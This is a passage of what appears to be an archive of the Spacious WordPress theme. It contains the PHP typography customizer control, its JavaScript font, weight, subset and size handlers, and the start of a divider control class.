}

/**
 * Class to extend WP_Customize_Control to add the typography customize control.
 *
 * Class Spacious_Typography_Control
 */
class Spacious_Typography_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-typography';

	/**
	 * Languages required subsets.
	 *
	 * @var array
	 */
	public $languages = array();

	/**
	 * Enqueue control related scripts/styles.
	 */
	public function enqueue() {

		parent::enqueue();

		$standard_fonts      = $this->get_system_fonts();
		$google_fonts        = $this->get_google_fonts();
		$custom_fonts        = $this->get_custom_fonts();
		$google_font_subsets = Spacious_Fonts::get_google_font_subsets();
		$localize_scripts    = array(
			'standardfontslabel' => esc_html__( 'Standard Fonts', 'spacious' ),
			'googlefontslabel'   => esc_html__( 'Google Fonts', 'spacious' ),
			'standard'           => $standard_fonts,
			'google'             => $google_fonts,
		);

		// If custom fonts is available,then add it for localization.
		if ( ! empty( $custom_fonts ) ) {
			$localize_scripts['customfontslabel'] = esc_html__( 'Custom Fonts', 'spacious' );
			$localize_scripts['custom']           = $custom_fonts;
		}

		// Loading available fonts.
		wp_localize_script(
			'spacious-customize-controls',
			'SpaciousCustomizerControlTypography',
			$localize_scripts
		);

		// Loading Google font subsets.
		wp_localize_script(
			'spacious-customize-controls',
			'SpaciousCustomizerControlTypographySubsets',
			$google_font_subsets
		);

	}

	/**
	 * Formats variants.
	 *
	 * @access protected
	 *
	 * @param array $variants The variants.
	 *
	 * @return array
	 */
	protected function format_variants_array( $variants ) {

		$font_variants  = Spacious_Fonts::get_font_variants();
		$variants_array = array();

		foreach ( $variants as $variant ) {

			if ( is_string( $variant ) ) {
				$variants_array[] = array(
					'id'    => $variant,
					'label' => isset( $font_variants[ $variant ] ) ? $font_variants[ $variant ] : $variant,
				);
			} elseif ( is_array( $variant ) && isset( $variant['id'] ) && isset( $variant['label'] ) ) {
				$variants_array[] = $variant;
			}
		}

		return $variants_array;

	}

	/**
	 * Gets standard fonts properly formatted for control.
	 */
	public function get_system_fonts() {

		$standard_fonts       = Spacious_Fonts::get_system_fonts();
		$standard_fonts_array = array();
		$default_variants     = $this->format_variants_array(
			apply_filters(
				'spacious_default_variants',
				array(
					'regular',
					'italic',
				)
			)
		);

		foreach ( $standard_fonts as $key => $font ) {

			$standard_fonts_array[] = array(
				'family'   => $font['family'],
				'label'    => $font['label'],
				'subsets'  => array(),
				'variants' => ( isset( $font['variants'] ) ) ? $this->format_variants_array( $font['variants'] ) : $default_variants,
			);

		}

		return $standard_fonts_array;

	}

	/**
	 * Gets Google fonts properly formatted for control.
	 */
	public function get_google_fonts() {

		// Get formatted array of google fonts.
		$google_fonts          = Spacious_Fonts::get_google_fonts();
		$font_variants         = Spacious_Fonts::get_font_variants();
		$foogle_fonts__subsets = Spacious_Fonts::get_google_font_subsets();
		$google_fonts_array    = array();

		foreach ( $google_fonts as $family => $args ) {

			// Get label, variants, subsets of individual font.
			$label    = ( isset( $args['label'] ) ) ? $args['label'] : $family;
			$variants = ( isset( $args['variants'] ) ) ? $args['variants'] : array( 'regular' );
			$subsets  = ( isset( $args['subsets'] ) ) ? $args['subsets'] : array();

			$available_variants = array();
			if ( is_array( $variants ) ) {
				foreach ( $variants as $variant ) {
					if ( array_key_exists( $variant, $font_variants ) ) {
						$available_variants[] = array(
							'id'    => $variant,
							'label' => $font_variants[ $variant ],
						);
					}
				}
			}

			$available_subsets = array();
			if ( is_array( $subsets ) ) {
				foreach ( $subsets as $subset ) {
					if ( array_key_exists( $subset, $foogle_fonts__subsets ) ) {
						$available_subsets[] = array(
							'id'    => $subset,
							'label' => $foogle_fonts__subsets[ $subset ],
						);
					}
				}
			}

			$google_fonts_array[] = array(
				'family'   => $family,
				'label'    => $label,
				'variants' => $available_variants,
				'subsets'  => $available_subsets,
			);

		}

		return $google_fonts_array;

	}

	/**
	 * Gets custom fonts properly formatted for control.
	 */
	public function get_custom_fonts() {

		$custom_fonts       = Spacious_Fonts::get_custom_fonts();
		$custom_fonts_array = array();
		$default_variants   = $this->format_variants_array(
			array(
				'regular',
				'italic',
			)
		);

		foreach ( $custom_fonts as $key => $font ) {

			$custom_fonts_array[] = array(
				'family'   => $font['family'],
				'label'    => $font['label'],
				'subsets'  => array(),
				'variants' => ( isset( $font['variants'] ) ) ? $this->format_variants_array( $font['variants'] ) : $default_variants,
			);

		}

		return $custom_fonts_array;

	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

		$this->json['choices']     = $this->choices;
		$this->json['input_attrs'] = $this->input_attrs;
		$this->json['languages']   = Spacious_Fonts::get_google_font_subsets();

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="customizer-text">
			<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>

			<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</div>

		<div class="customize-control-content">

			<# if ( data.default['font-family'] ) { #>

			<div class="font-family">
				<span class="customize-control-title"><?php esc_html_e( 'Family', 'spacious' ); ?></span>
				<div class="spacious-field-content">
					<select {{{ data.inputAttrs }}} id="spacious-font-family-{{{ data.id || data.name }}}"></select>
				</div>
			</div>

			<# if ( data.default['font-weight'] ) { #>
			<div class="font-weight">
				<span class="customize-control-title"><?php esc_html_e( 'Weight', 'spacious' ); ?></span>
				<div class="spacious-field-content">
					<select {{{ data.inputAttrs }}} id="spacious-font-weight-{{{ data.id || data.name }}}"></select>
				</div>
			</div>
			<# } #>

			<# if ( data.default['subsets'] ) { #>
			<div class="subsets">
				<span class="customize-control-title"><?php esc_html_e( 'Subset(s)', 'spacious' ); ?></span>
				<div class="spacious-field-content">
					<select {{{ data.inputAttrs }}} id="spacious-subsets-{{{ data.id || data.name }}}" multiple>
						<# _.each( data.value.subsets, function( subset ) { #>
						<option value="{{ subset }}" selected="selected">{{ data.languages[ subset ] }}</option>
						<# } ); #>
					</select>
				</div>
			</div>
			<# } #>

			<# } #>

			<# if ( data.default['font-size'] ) { #>
			<div class="font-size">
				<span class="customize-control-title"><?php esc_html_e( 'Size', 'spacious' ); ?></span>
				<ul class="responsive-switchers">
					<li class="desktop">
						<button type="button" class="preview-desktop active" data-device="desktop">
							<i class="dashicons dashicons-desktop"></i>
						</button>
					</li>
					<li class="tablet">
						<button type="button" class="preview-tablet" data-device="tablet">
							<i class="dashicons dashicons-tablet"></i>
						</button>
					</li>
					<li class="mobile">
						<button type="button" class="preview-mobile" data-device="mobile">
							<i class="dashicons dashicons-smartphone"></i>
						</button>
					</li>
				</ul>

				<div class="desktop control-wrap active">
					<input type="text"
					       id="spacious-font-size-desktop-{{{ data.id || data.name }}}"
					       data-device="desktop"
							<# if ( data.value['font-size'] ) { #>
								value="{{ data.value['font-size']['desktop'] }}"
							<# } else { #>
								value="{{ data.default['font-size']['desktop'] }}"
							<# } #>
							<# if ( data.input_attrs && data.input_attrs['desktop'] ) { #>
								<# if ( data.input_attrs['desktop']['font-size']['step'] ) { #>
									step="{{ data.input_attrs['desktop']['font-size']['step'] }}"
								<# } #>
								<# if ( 0 == data.input_attrs['desktop']['font-size']['min'] || data.input_attrs['desktop']['font-size']['min'] ) { #>
									min="{{ data.input_attrs['desktop']['font-size']['min'] }}"
								<# } #>
								<# if ( data.input_attrs['desktop']['font-size']['max'] ) { #>
									max="{{ data.input_attrs['desktop']['font-size']['max'] }}"
								<# } #>
							<# } #>
					/>
				</div>

				<div class="tablet control-wrap">
					<input type="text"
					       id="spacious-font-size-tablet-{{{ data.id || data.name }}}"
					       data-device="tablet"
							<# if ( data.value['font-size'] ) { #>
								value="{{ data.value['font-size']['tablet'] }}"
							<# } else { #>
								value="{{ data.default['font-size']['tablet'] }}"
							<# } #>
							<# if ( data.input_attrs && data.input_attrs['tablet'] ) { #>
								<# if ( data.input_attrs['tablet']['font-size']['step'] ) { #>
									step="{{ data.input_attrs['tablet']['font-size']['step'] }}"
								<# } #>
								<# if ( 0 == data.input_attrs['tablet']['font-size']['min'] || data.input_attrs['tablet']['font-size']['min'] ) { #>
									min="{{ data.input_attrs['tablet']['font-size']['min'] }}"
								<# } #>
								<# if ( data.input_attrs['tablet']['font-size']['max'] ) { #>
									max="{{ data.input_attrs['tablet']['font-size']['max'] }}"
								<# } #>
							<# } #>
					/>
				</div>

				<div class="mobile control-wrap">
					<input type="text"
					       id="spacious-font-size-mobile-{{{ data.id || data.name }}}"
					       data-device="mobile"
							<# if ( data.value['font-size'] ) { #>
								value="{{ data.value['font-size']['mobile'] }}"
							<# } else { #>
								value="{{ data.default['font-size']['mobile'] }}"
							<# } #>
							<# if ( data.input_attrs && data.input_attrs['mobile'] ) { #>
								<# if ( data.input_attrs['mobile']['font-size']['step'] ) { #>
									step="{{ data.input_attrs['mobile']['font-size']['step'] }}"
								<# } #>
								<# if ( 0 == data.input_attrs['mobile']['font-size']['min'] || data.input_attrs['mobile']['font-size']['min'] ) { #>
									min="{{ data.input_attrs['mobile']['font-size']['min'] }}"
								<# } #>
								<# if ( data.input_attrs['mobile']['font-size']['max'] ) { #>
									max="{{ data.input_attrs['mobile']['font-size']['max'] }}"
								<# } #>
							<# } #>
					/>
				</div>
			</div>
			<# } #>

			<# if ( data.default['line-height'] ) { #>
			<div class="line-height">
				<span class="customize-control-title"><?php esc_html_e( 'Line Height', 'spacious' ); ?></span>
				<ul class="responsive-switchers">
					<li class="desktop">
						<button type="button" class="preview-desktop active" data-device="desktop">
							<i class="dashicons dashicons-desktop"></i>
						</button>
					</li>
					<li class="tablet">
						<button type="button" class="preview-tablet" data-device="tablet">
							<i class="dashicons dashicons-tablet"></i>
						</button>
					</li>
					<li class="mobile">
						<button type="button" class="preview-mobile" data-device="mobile">
							<i class="dashicons dashicons-smartphone"></i>
						</button>
					</li>
				</ul>

				<div class="desktop control-wrap active">
					<input type="text"
					       id="spacious-line-height-desktop-{{{ data.id || data.name }}}"
					       data-device="desktop"
							<# if ( data.value['line-height'] ) { #>
								value="{{ data.value['line-height']['desktop'] }}"
							<# } else { #>
								value="{{ data.default['line-height']['desktop'] }}"
							<# } #>
							<# if ( data.input_attrs && data.input_attrs['desktop'] ) { #>
								<# if ( data.input_attrs['desktop']['line-height']['step'] ) { #>
									step="{{ data.input_attrs['desktop']['line-height']['step'] }}"
								<# } #>
								<# if ( 0 == data.input_attrs['desktop']['line-height']['min'] || data.input_attrs['desktop']['line-height']['min'] ) { #>
									min="{{ data.input_attrs['desktop']['line-height']['min'] }}"
								<# } #>
								<# if ( data.input_attrs['desktop']['line-height']['max'] ) { #>
									max="{{ data.input_attrs['desktop']['line-height']['max'] }}"
								<# } #>
							<# } #>
					/>
				</div>

				<div class="tablet control-wrap">
					<input type="text"
					       id="spacious-line-height-tablet-{{{ data.id || data.name }}}"
					       data-device="tablet"
							<# if ( data.value['line-height'] ) { #>
								value="{{ data.value['line-height']['tablet'] }}"
							<# } else { #>
								value="{{ data.default['line-height']['tablet'] }}"
							<# } #>
							<# if ( data.input_attrs && data.input_attrs['tablet'] ) { #>
								<# if ( data.input_attrs['tablet']['line-height']['step'] ) { #>
									step="{{ data.input_attrs['tablet']['line-height']['step'] }}"
								<# } #>
								<# if ( 0 == data.input_attrs['tablet']['line-height']['min'] || data.input_attrs['tablet']['line-height']['min'] ) { #>
									min="{{ data.input_attrs['tablet']['line-height']['min'] }}"
								<# } #>
								<# if ( data.input_attrs['tablet']['line-height']['max'] ) { #>
									max="{{ data.input_attrs['tablet']['line-height']['max'] }}"
								<# } #>
							<# } #>
					/>
				</div>

				<div class="mobile control-wrap">
					<input type="text"
					       id="spacious-line-height-mobile-{{{ data.id || data.name }}}"
					       data-device="mobile"
							<# if ( data.value['line-height'] ) { #>
								value="{{ data.value['line-height']['mobile'] }}"
							<# } else { #>
								value="{{ data.default['line-height']['mobile'] }}"
							<# } #>
							<# if ( data.input_attrs && data.input_attrs['mobile'] ) { #>
								<# if ( data.input_attrs['mobile']['line-height']['step'] ) { #>
									step="{{ data.input_attrs['mobile']['line-height']['step'] }}"
								<# } #>
								<# if ( 0 == data.input_attrs['mobile']['line-height']['min'] || data.input_attrs['mobile']['line-height']['min'] ) { #>
									min="{{ data.input_attrs['mobile']['line-height']['min'] }}"
								<# } #>
								<# if ( data.input_attrs['mobile']['line-height']['max'] ) { #>
									max="{{ data.input_attrs['mobile']['line-height']['max'] }}"
								<# } #>
							<# } #>
					/>
				</div>
			</div>
			<# } #>

			<# if ( data.default['letter-spacing'] ) { #>
			<div class="letter-spacing">
				<span class="customize-control-title"><?php esc_html_e( 'Letter Spacing', 'spacious' ); ?></span>
				<ul class="responsive-switchers">
					<li class="desktop">
						<button type="button" class="preview-desktop active" data-device="desktop">
							<i class="dashicons dashicons-desktop"></i>
						</button>
					</li>
					<li class="tablet">
						<button type="button" class="preview-tablet" data-device="tablet">
							<i class="dashicons dashicons-tablet"></i>
						</button>
					</li>
					<li class="mobile">
						<button type="button" class="preview-mobile" data-device="mobile">
							<i class="dashicons dashicons-smartphone"></i>
						</button>
					</li>
				</ul>

				<div class="desktop control-wrap active">
					<input type="text"
					       id="spacious-letter-spacing-desktop-{{{ data.id || data.name }}}"
					       data-device="desktop"
							<# if ( data.value['letter-spacing'] ) { #>
								value="{{ data.value['letter-spacing']['desktop'] }}"
							<# } else { #>
								value="{{ data.default['letter-spacing']['desktop'] }}"
							<# } #>
							<# if ( data.input_attrs && data.input_attrs['desktop'] ) { #>
								<# if ( data.input_attrs['desktop']['letter-spacing']['step'] ) { #>
									step="{{ data.input_attrs['desktop']['letter-spacing']['step'] }}"
								<# } #>
								<# if ( 0 == data.input_attrs['desktop']['letter-spacing']['min'] || data.input_attrs['desktop']['letter-spacing']['min'] ) { #>
									min="{{ data.input_attrs['desktop']['letter-spacing']['min'] }}"
								<# } #>
								<# if ( data.input_attrs['desktop']['letter-spacing']['max'] ) { #>
									max="{{ data.input_attrs['desktop']['letter-spacing']['max'] }}"
								<# } #>
							<# } #>
					/>
				</div>

				<div class="tablet control-wrap">
					<input type="text"
					       id="spacious-letter-spacing-tablet-{{{ data.id || data.name }}}"
					       data-device="tablet"
							<# if ( data.value['letter-spacing'] ) { #>
								value="{{ data.value['letter-spacing']['tablet'] }}"
							<# } else { #>
								value="{{ data.default['letter-spacing']['tablet'] }}"
							<# } #>
							<# if ( data.input_attrs && data.input_attrs['tablet'] ) { #>
								<# if ( data.input_attrs['tablet']['letter-spacing']['step'] ) { #>
									step="{{ data.input_attrs['tablet']['letter-spacing']['step'] }}"
								<# } #>
								<# if ( 0 == data.input_attrs['tablet']['letter-spacing']['min'] || data.input_attrs['tablet']['letter-spacing']['min'] ) { #>
									min="{{ data.input_attrs['tablet']['letter-spacing']['min'] }}"
								<# } #>
								<# if ( data.input_attrs['tablet']['letter-spacing']['max'] ) { #>
									max="{{ data.input_attrs['tablet']['letter-spacing']['max'] }}"
								<# } #>
							<# } #>
					/>
				</div>

				<div class="mobile control-wrap">
					<input type="text"
					       id="spacious-letter-spacing-mobile-{{{ data.id || data.name }}}"
					       data-device="mobile"
							<# if ( data.value['letter-spacing'] ) { #>
								value="{{ data.value['letter-spacing']['mobile'] }}"
							<# } else { #>
								value="{{ data.default['letter-spacing']['mobile'] }}"
							<# } #>
							<# if ( data.input_attrs && data.input_attrs['mobile'] ) { #>
								<# if ( data.input_attrs['mobile']['letter-spacing']['step'] ) { #>
									step="{{ data.input_attrs['mobile']['letter-spacing']['step'] }}"
								<# } #>
								<# if ( 0 == data.input_attrs['mobile']['letter-spacing']['min'] || data.input_attrs['mobile']['letter-spacing']['min'] ) { #>
									min="{{ data.input_attrs['mobile']['letter-spacing']['min'] }}"
								<# } #>
								<# if ( data.input_attrs['mobile']['letter-spacing']['max'] ) { #>
									max="{{ data.input_attrs['mobile']['letter-spacing']['max'] }}"
								<# } #>
							<# } #>
					/>
				</div>
			</div>
			<# } #>

			<# if ( data.default['font-style'] ) { #>
			<div class="font-style">
				<span class="customize-control-title"><?php esc_html_e( 'Style', 'spacious' ); ?></span>
				<div class="spacious-field-content">
					<select {{{ data.inputAttrs }}} id="spacious-font-style-{{{ data.id || data.name }}}">
						<option value="normal"
						<# if ( 'normal' === data.value['font-style'] ) { #> selected <# }
						#>><?php esc_html_e( 'Normal', 'spacious' ); ?></option>
						<option value="italic"
						<# if ( 'italic' === data.value['font-style'] ) { #> selected <# }
						#>><?php esc_html_e( 'Italic', 'spacious' ); ?></option>
						<option value="oblique"
						<# if ( 'oblique' === data.value['font-style'] ) { #> selected <# }
						#>><?php esc_html_e( 'Oblique', 'spacious' ); ?></option>
						<option value="initial"
						<# if ( 'initial' === data.value['font-style'] ) { #> selected <# }
						#>><?php esc_html_e( 'Initial', 'spacious' ); ?></option>
						<option value="inherit"
						<# if ( 'inherit' === data.value['font-style'] ) { #> selected <# }
						#>><?php esc_html_e( 'Inherit', 'spacious' ); ?></option>
					</select>
				</div>
			</div>
			<# } #>

			<# if ( data.default['text-transform'] ) { #>
			<div class="text-transform">
				<span class="customize-control-title"><?php esc_html_e( 'Transform', 'spacious' ); ?></span>
				<div class="spacious-field-content">
					<select {{{ data.inputAttrs }}} id="spacious-text-transform-{{{ data.id || data.name }}}">
						<option value="none"
						<# if ( 'none' === data.value['text-transform'] ) { #> selected <# }
						#>><?php esc_html_e( 'None', 'spacious' ); ?></option>
						<option value="capitalize"
						<# if ( 'capitalize' === data.value['text-transform'] ) { #> selected <# }
						#>><?php esc_html_e( 'Capitalize', 'spacious' ); ?></option>
						<option value="uppercase"
						<# if ( 'uppercase' === data.value['text-transform'] ) { #> selected <# }
						#>><?php esc_html_e( 'Uppercase', 'spacious' ); ?></option>
						<option value="lowercase"
						<# if ( 'lowercase' === data.value['text-transform'] ) { #> selected <# }
						#>><?php esc_html_e( 'Lowercase', 'spacious' ); ?></option>
						<option value="initial"
						<# if ( 'initial' === data.value['text-transform'] ) { #> selected <# }
						#>><?php esc_html_e( 'Initial', 'spacious' ); ?></option>
						<option value="inherit"
						<# if ( 'inherit' === data.value['text-transform'] ) { #> selected <# }
						#>><?php esc_html_e( 'Inherit', 'spacious' ); ?></option>
					</select>
				</div>
			</div>
			<# } #>

			<# if ( data.default['text-decoration'] ) { #>
			<div class="text-decoration">
				<span class="customize-control-title"><?php esc_html_e( 'Decoration', 'spacious' ); ?></span>
				<div class="spacious-field-content">
					<select {{{ data.inputAttrs }}} id="spacious-text-decoration-{{{ data.id || data.name }}}">
						<option value="none"
						<# if ( 'none' === data.value['text-decoration'] ) { #> selected <# }
						#>><?php esc_html_e( 'None', 'spacious' ); ?></option>
						<option value="underline"
						<# if ( 'underline' === data.value['text-decoration'] ) { #> selected <# }
						#>><?php esc_html_e( 'Underline', 'spacious' ); ?></option>
						<option value="overline"
						<# if ( 'overline' === data.value['text-decoration'] ) { #> selected <# }
						#>><?php esc_html_e( 'Overline', 'spacious' ); ?></option>
						<option value="line-through"
						<# if ( 'line-through' === data.value['text-decoration'] ) { #> selected <# }
						#>><?php esc_html_e( 'Line Through', 'spacious' ); ?></option>
						<option value="initial"
						<# if ( 'initial' === data.value['text-decoration'] ) { #> selected <# }
						#>><?php esc_html_e( 'Initial', 'spacious' ); ?></option>
						<option value="inherit"
						<# if ( 'inherit' === data.value['text-decoration'] ) { #> selected <# }
						#>><?php esc_html_e( 'Inherit', 'spacious' ); ?></option>
					</select>
				</div>
			</div>
			<# } #>

			<input class="typography-hidden-value"
			       value="{{ JSON.stringify( data.value ) }}"
			       type="hidden" {{{ data.link }}}
			>

		</div>

		<?php
	}

	/**
	 * Renders the control wrapper and calls $this->render_content() for the internals.
	 */
	protected function render() {

		$id    = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
		$class = 'customize-control has-responsive-switchers customize-control-' . $this->type;
		?>

		<li id="<?php echo esc_attr( $id ); ?>" class="<?php echo esc_attr( $class ); ?>">
			<?php $this->render_content(); ?>
		</li>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/typography/typography.js000066600000024306152367043330015640 0ustar00/**
 * Typography control JS to handle the typography customize option.
 *
 * File `typography.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor['spacious-typography'] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// On customizer load, render the available font options.
		control.renderFontSelector();
		control.renderVariantSelector();
		control.renderSubsetSelector();

		// Font style setting.
		control.container.on( 'change', '.font-style select', function () {
			control.saveValue( 'font-style', jQuery( this ).val() );
		} );

		// Text transform setting.
		control.container.on( 'change', '.text-transform select', function () {
			control.saveValue( 'text-transform', jQuery( this ).val() );
		} );

		// Text decoration setting.
		control.container.on( 'change', '.text-decoration select', function () {
			control.saveValue( 'text-decoration', jQuery( this ).val() );
		} );

		// Font size setting.
		control.container.on( 'change keyup paste input', '.font-size input', function () {
			control.updateFontSize();
		} );

		// Line height setting.
		control.container.on( 'change keyup paste input', '.line-height input', function () {
			control.updateLineHeight();
		} );

		// Letter spacing setting.
		control.container.on( 'change keyup paste input', '.letter-spacing input', function () {
			control.updateLetterSpacing();
		} );

	},

	renderFontSelector : function () {

		var control       = this,
		    selector      = control.selector + ' .font-family select',
		    standardFonts = [],
		    googleFonts   = [],
		    customFonts   = [],
		    value         = control.setting._value,
		    fonts         = control.getFonts(),
		    fontSelect;

		// Format standard fonts as an array.
		if ( ! _.isUndefined( fonts.standard ) ) {
			_.each(
				fonts.standard,
				function ( font ) {
					standardFonts.push(
						{
							id   : font.family.replace( /&quot;/g, '&#39' ),
							text : font.label
						}
					);
				}
			);
		}

		// Format Google fonts as an array.
		if ( ! _.isUndefined( fonts.google ) ) {
			_.each(
				fonts.google,
				function ( font ) {
					googleFonts.push(
						{
							id   : font.family,
							text : font.label
						}
					);
				}
			);
		}

		// Combine fonts and build the final data.
		data = [
			{
				text     : fonts.standardfontslabel,
				children : standardFonts
			},
			{
				text     : fonts.googlefontslabel,
				children : googleFonts
			}
		];

		// Format custom fonts as an array.
		if ( ! _.isUndefined( fonts.custom ) ) {
			_.each(
				fonts.custom,
				function ( font ) {
					customFonts.push(
						{
							id   : font.family,
							text : font.label
						}
					);
				}
			);

			// Merge on `data` array.
			data.push(
				{
					text     : fonts.customfontslabel,
					children : customFonts
				}
			);
		}

		// Instantiate selectWoo with the data.
		fontSelect = jQuery( selector ).selectWoo(
			{
				data  : data,
				width : '100%'
			}
		);

		// Set the initial value.
		if ( value['font-family'] ) {
			fontSelect.val( value['font-family'].replace( /'/g, '"' ) ).trigger( 'change' );
		}

		// When the font option value changes.
		fontSelect.on(
			'change',
			function () {

				// Set the value.
				control.saveValue( 'font-family', jQuery( this ).val() );

				// Render new list of selected font options.
				control.renderVariantSelector();
				control.renderSubsetSelector();

			}
		);

	},

	getFonts : function () {

		var control = this;

		if ( ! _.isUndefined( SpaciousCustomizerControlTypography ) ) {
			return SpaciousCustomizerControlTypography;
		}

		return {
			google   : [],
			standard : []
		};

	},

	renderVariantSelector : function () {

		var control    = this,
		    value      = control.setting._value,
		    fontFamily = value['font-family'],
		    variants   = control.getVariants( fontFamily ),
		    selector   = control.selector + ' .font-weight select',
		    data       = [],
		    isValid    = false,
		    variantSelector;

		if ( false !== variants ) {

			jQuery( control.selector + ' .font-weight' ).show();
			_.each(
				variants,
				function ( variant ) {
					if ( value['font-weight'] === variant.id ) {
						isValid = true;
					}

					data.push(
						{
							id   : variant.id,
							text : variant.label
						}
					);
				}
			);

			if ( ! isValid ) {
				value['font-weight'] = 'regular';
			}

			if ( jQuery( selector ).hasClass( 'select2-hidden-accessible' ) ) {
				jQuery( selector ).selectWoo( 'destroy' );
				jQuery( selector ).empty();
			}

			// Instantiate selectWoo with the data.
			variantSelector = jQuery( selector ).selectWoo(
				{
					data  : data,
					width : '100%'
				}
			);

			variantSelector.val( value['font-weight'] ).trigger( 'change' );
			variantSelector.on(
				'change',
				function () {
					control.saveValue( 'font-weight', jQuery( this ).val() );
				}
			);

		} else {

			jQuery( control.selector + ' .font-weight' ).hide();

		}

	},

	getVariants : function ( fontFamily ) {

		var control = this,
		    fonts   = control.getFonts();

		var variants = false;
		_.each(
			fonts.standard,
			function ( font ) {
				if ( fontFamily && font.family === fontFamily.replace( /'/g, '"' ) ) {
					variants = font.variants;

					return variants;
				}
			}
		);

		_.each(
			fonts.google,
			function ( font ) {
				if ( font.family === fontFamily ) {
					variants = font.variants;

					return variants;
				}
			}
		);

		// For custom fonts.
		if ( ! _.isUndefined( fonts.custom ) ) {
			_.each(
				fonts.custom,
				function ( font ) {
					if ( font.custom === fontFamily ) {
						variants = font.variants;

						return variants;
					}
				}
			);
		}

		return variants;

	},

	renderSubsetSelector : function () {

		var control    = this,
		    value      = control.setting._value,
		    fontFamily = value['font-family'],
		    subsets    = control.getSubsets( fontFamily ),
		    selector   = control.selector + ' .subsets select',
		    data       = [],
		    validValue = value.subsets,
		    subsetSelector;

		if ( false !== subsets ) {

			jQuery( control.selector + ' .subsets' ).show();
			_.each(
				subsets,
				function ( subset ) {
					if ( _.isObject( validValue ) ) {
						if ( - 1 === validValue.indexOf( subset.id ) ) {
							validValue = _.reject(
								validValue,
								function ( subValue ) {
									return subValue === subset.id;
								}
							);
						}
					}

					data.push(
						{
							id   : subset.id,
							text : subset.label
						}
					);
				}
			);

		} else {

			jQuery( control.selector + ' .subsets' ).hide();

		}

		if ( jQuery( selector ).hasClass( 'select2-hidden-accessible' ) ) {
			jQuery( selector ).selectWoo( 'destroy' );
			jQuery( selector ).empty();
		}

		// Instantiate selectWoo with the data.
		subsetSelector = jQuery( selector ).selectWoo(
			{
				data  : data,
				width : '100%'
			}
		);

		subsetSelector.val( validValue ).trigger( 'change' );
		subsetSelector.on(
			'change',
			function () {
				control.saveValue( 'subsets', jQuery( this ).val() );
			}
		);

	},

	getSubsets : function ( fontFamily ) {

		var control = this,
		    subsets = false,
		    fonts   = control.getFonts();

		_.each(
			fonts.google,
			function ( font ) {
				if ( font.family === fontFamily ) {
					subsets = font.subsets;

					return subsets;
				}
			}
		);

		return subsets;

	},

	saveValue : function ( property, value ) {

		var control = this,
		    input   = control.container.find( '.typography-hidden-value' ),
		    val     = control.setting._value;

		val[property] = value;

		jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
		control.setting.set( val );

	},

	updateFontSize : function () {

		var control  = this,
		    val      = control.setting._value,
		    input    = control.container.find( '.typography-hidden-value' ),
		    newValue = {
			    'font-size' : {}
		    };

		control.container.find( '.font-size .control-wrap' ).each(
			function () {
				var controlValue = jQuery( this ).find( 'input' ).val();
				var device       = jQuery( this ).find( 'input' ).data( 'device' );

				newValue['font-size'][device] = controlValue;
			}
		);

		// Extend/Update the `val` object to include `newValue`'s new data as an object.
		jQuery.extend( val, newValue );

		jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
		control.setting.set( val );

	},

	updateLineHeight : function () {

		var control  = this,
		    val      = control.setting._value,
		    input    = control.container.find( '.typography-hidden-value' ),
		    newValue = {
			    'line-height' : {}
		    };

		control.container.find( '.line-height .control-wrap' ).each(
			function () {
				var controlValue = jQuery( this ).find( 'input' ).val();
				var device       = jQuery( this ).find( 'input' ).data( 'device' );

				newValue['line-height'][device] = controlValue;
			}
		);

		// Extend/Update the `val` object to include `newValue`'s new data as an object.
		jQuery.extend( val, newValue );

		jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
		control.setting.set( val );

	},

	updateLetterSpacing : function () {

		var control  = this,
		    val      = control.setting._value,
		    input    = control.container.find( '.typography-hidden-value' ),
		    newValue = {
			    'letter-spacing' : {}
		    };

		control.container.find( '.letter-spacing .control-wrap' ).each(
			function () {
				var controlValue = jQuery( this ).find( 'input' ).val();
				var device       = jQuery( this ).find( 'input' ).data( 'device' );

				newValue['letter-spacing'][device] = controlValue;
			}
		);

		// Extend/Update the `val` object to include `newValue`'s new data as an object.
		jQuery.extend( val, newValue );

		jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
		control.setting.set( val );

	}

} );
core/custom-controls/divider/class-spacious-divider-control.php000066600000003515152367043330021057 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the divider control.
 *
 * Class Spacious_Divider_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the divider customize control.
 *
 * Class Spacious_Divider_Control
 */
class Spacious_Divider_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-divider';

	/**
	 * Divider placement
	 *
	 * @var string
	 */
	public $placement = 'above';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

		$this->json['placement'] = $this->placement;

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
